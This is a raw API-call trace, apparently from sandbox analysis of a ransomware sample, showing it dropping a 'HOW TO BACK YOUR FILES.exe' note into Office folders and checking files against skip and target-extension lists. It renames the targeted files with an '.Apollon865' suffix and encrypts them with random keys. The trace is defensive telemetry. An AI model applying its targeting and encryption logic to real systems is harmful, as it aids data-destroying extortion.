	[0075.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0075.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0075.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.825] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.825] CloseHandle (hObject=0x118) returned 1
	[0075.825] CloseHandle (hObject=0xc0) returned 1
	[0075.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.825] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0075.825] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.825] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0075.825] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en"
	[0075.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c15d8 | out: hHeap=0x580000) returned 1
	[0075.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0075.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en") returned 88
	[0075.825] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en"
	[0075.826] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.826] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.829] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45448e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45448e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.830] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.830] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.830] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.830] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45448e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45448e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.830] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.830] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.830] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.830] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.830] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45448e70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45448e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.830] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.830] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2=".") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="..") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="windows") returned -1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="temp") returned -1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="pagefile.sys") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="boot") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="ids.txt") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="perflogs") returned 1
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2="MSBuild") returned 1
	[0075.830] lstrlenW (lpString="Proof.XML") returned 9
	[0075.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*") returned 90
	[0075.830] lstrcpyW (in: lpString1=0x2d3e602, lpString2="Proof.XML" | out: lpString1="Proof.XML") returned="Proof.XML"
	[0075.830] lstrlenW (lpString="Proof.XML") returned 9
	[0075.830] lstrlenW (lpString="Apollon865") returned 10
	[0075.830] lstrlenW (lpString=".dll") returned 4
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2=".dll") returned 1
	[0075.830] lstrlenW (lpString=".lnk") returned 4
	[0075.830] lstrcmpiW (lpString1="Proof.XML", lpString2=".lnk") returned 1
	[0075.830] lstrlenW (lpString=".ini") returned 4
	[0075.831] lstrcmpiW (lpString1="Proof.XML", lpString2=".ini") returned 1
	[0075.831] lstrlenW (lpString=".sys") returned 4
	[0075.831] lstrcmpiW (lpString1="Proof.XML", lpString2=".sys") returned 1
	[0075.831] lstrlenW (lpString="Proof.XML") returned 9
	[0075.831] lstrlenW (lpString="bak") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.831] lstrlenW (lpString="ba_") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.831] lstrlenW (lpString="dbb") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.831] lstrlenW (lpString="vmdk") returned 4
	[0075.831] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.831] lstrlenW (lpString="rar") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.831] lstrlenW (lpString="zip") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.831] lstrlenW (lpString="tgz") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.831] lstrlenW (lpString="vbox") returned 4
	[0075.831] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.831] lstrlenW (lpString="vdi") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.831] lstrlenW (lpString="vhd") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.831] lstrlenW (lpString="vhdx") returned 4
	[0075.831] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.831] lstrlenW (lpString="avhd") returned 4
	[0075.831] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.831] lstrlenW (lpString="db") returned 2
	[0075.831] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.831] lstrlenW (lpString="db2") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.831] lstrlenW (lpString="db3") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.831] lstrlenW (lpString="dbf") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.831] lstrlenW (lpString="mdf") returned 3
	[0075.831] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.832] lstrlenW (lpString="mdb") returned 3
	[0075.832] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.832] lstrlenW (lpString="sql") returned 3
	[0075.832] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.832] lstrlenW (lpString="sqlite") returned 6
	[0075.832] lstrcmpiW (lpString1="of.XML", lpString2="sqlite") returned -1
	[0075.832] lstrlenW (lpString="sqlite3") returned 7
	[0075.832] lstrcmpiW (lpString1="oof.XML", lpString2="sqlite3") returned -1
	[0075.832] lstrlenW (lpString="sqlitedb") returned 8
	[0075.832] lstrcmpiW (lpString1="roof.XML", lpString2="sqlitedb") returned -1
	[0075.832] lstrlenW (lpString="xml") returned 3
	[0075.832] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.832] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.Apollon865") returned 109
	[0075.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.833] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1347) returned 1
	[0075.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.833] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.834] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.834] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.834] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x118
	[0075.835] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000
	[0075.836] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.837] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.837] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.837] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.837] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.838] CloseHandle (hObject=0x118) returned 1
	[0075.838] CloseHandle (hObject=0x15c) returned 1
	[0075.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.838] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0075.838] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.838] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc70
	[0075.838] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us"
	[0075.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aabb0 | out: hHeap=0x580000) returned 1
	[0075.838] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0075.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us") returned 93
	[0075.838] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us"
	[0075.838] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.838] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.847] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.847] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x4546efd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4546efd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.847] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.847] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.847] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.847] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x4546efd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4546efd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.847] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.847] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.847] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.847] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.847] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4546efd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4546efd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.847] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.847] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2=".") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="..") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="windows") returned -1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="bootmgr") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="temp") returned -1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="pagefile.sys") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="boot") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="ids.txt") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="ntuser.dat") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="perflogs") returned 1
	[0075.847] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2="MSBuild") returned 1
	[0075.847] lstrlenW (lpString="ProjectMUI.XML") returned 14
	[0075.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*") returned 95
	[0075.848] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="ProjectMUI.XML" | out: lpString1="ProjectMUI.XML") returned="ProjectMUI.XML"
	[0075.848] lstrlenW (lpString="ProjectMUI.XML") returned 14
	[0075.848] lstrlenW (lpString="Apollon865") returned 10
	[0075.848] lstrcmpiW (lpString1="ectMUI.XML", lpString2="Apollon865") returned 1
	[0075.848] lstrlenW (lpString=".dll") returned 4
	[0075.848] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2=".dll") returned 1
	[0075.848] lstrlenW (lpString=".lnk") returned 4
	[0075.848] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2=".lnk") returned 1
	[0075.848] lstrlenW (lpString=".ini") returned 4
	[0075.848] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2=".ini") returned 1
	[0075.848] lstrlenW (lpString=".sys") returned 4
	[0075.848] lstrcmpiW (lpString1="ProjectMUI.XML", lpString2=".sys") returned 1
	[0075.848] lstrlenW (lpString="ProjectMUI.XML") returned 14
	[0075.848] lstrlenW (lpString="bak") returned 3
	[0075.848] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.848] lstrlenW (lpString="ba_") returned 3
	[0075.848] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.848] lstrlenW (lpString="dbb") returned 3
	[0075.848] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.848] lstrlenW (lpString="vmdk") returned 4
	[0075.848] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.848] lstrlenW (lpString="rar") returned 3
	[0075.848] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.848] lstrlenW (lpString="zip") returned 3
	[0075.848] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.848] lstrlenW (lpString="tgz") returned 3
	[0075.848] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.848] lstrlenW (lpString="vbox") returned 4
	[0075.848] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.849] lstrlenW (lpString="vdi") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.849] lstrlenW (lpString="vhd") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.849] lstrlenW (lpString="vhdx") returned 4
	[0075.849] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.849] lstrlenW (lpString="avhd") returned 4
	[0075.849] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.849] lstrlenW (lpString="db") returned 2
	[0075.849] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.849] lstrlenW (lpString="db2") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.849] lstrlenW (lpString="db3") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.849] lstrlenW (lpString="dbf") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.849] lstrlenW (lpString="mdf") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.849] lstrlenW (lpString="mdb") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.849] lstrlenW (lpString="sql") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.849] lstrlenW (lpString="sqlite") returned 6
	[0075.849] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0075.849] lstrlenW (lpString="sqlite3") returned 7
	[0075.849] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0075.849] lstrlenW (lpString="sqlitedb") returned 8
	[0075.849] lstrcmpiW (lpString1="tMUI.XML", lpString2="sqlitedb") returned 1
	[0075.849] lstrlenW (lpString="xml") returned 3
	[0075.849] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.849] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.Apollon865") returned 119
	[0075.849] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.apollon865"), dwFlags=0x1) returned 1
